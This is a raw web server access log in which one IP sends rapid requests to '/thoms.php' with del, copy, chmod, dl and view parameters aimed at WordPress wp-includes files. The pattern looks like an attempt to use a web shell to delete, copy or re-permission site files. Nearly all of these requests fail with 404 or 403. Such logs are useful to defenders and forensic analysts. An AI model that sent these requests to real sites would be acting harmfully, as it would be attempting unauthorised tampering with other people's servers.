45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?del=functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?del=ms-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /biotaiwan.com.tw/wp-includes/block-supports/ HTTP/1.1" 200 1829 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fnav-menu-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?chmod=taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?dl=author-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=author-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?chmod=class-smtp.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-smtp.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-customize-manager.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?del=class-wp-error.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-error.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcron.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fcron.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:58 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?chmod=default-filters.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-widget.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-widget.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?chmod=functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?chmod=ms-files.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?del=ms-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?chmod=query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=template-loader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=template-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?del=block-supports&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-supports&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?del=class-wp-block-type.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-type.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /biotaiwan.com.tw/wp-includes/class.wp-styles.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=l10n.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=l10n.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:59 -0400] "GET /thoms.php?dl=post.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?dl=class-wp-network-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-network-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?dl=deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?del=nav-menu-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=nav-menu-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?del=class-walker-page.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-page.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /biotaiwan.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-processor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?dl=connectors.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fai-client&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?chmod=block-patterns.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?del=capabilities.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /biotaiwan.com.tw/wp-includes/icons.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:00 -0400] "GET /thoms.php?dl=feed-rdf.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-parser-block.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /biotaiwan.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?dl=speculative-loading.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?del=spl-autoload-compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=spl-autoload-compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?del=class-wp-site.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-site.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /biotaiwan.com.tw/wp-includes/kses.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /biotaiwan.com.tw/wp-includes/class-IXR.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=json-schema.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /biotaiwan.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?dl=theme.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-bindings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-bindings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:01 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frevision.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frevision.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?chmod=style-engine.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=style-engine.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:02 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-requests.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-requests.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
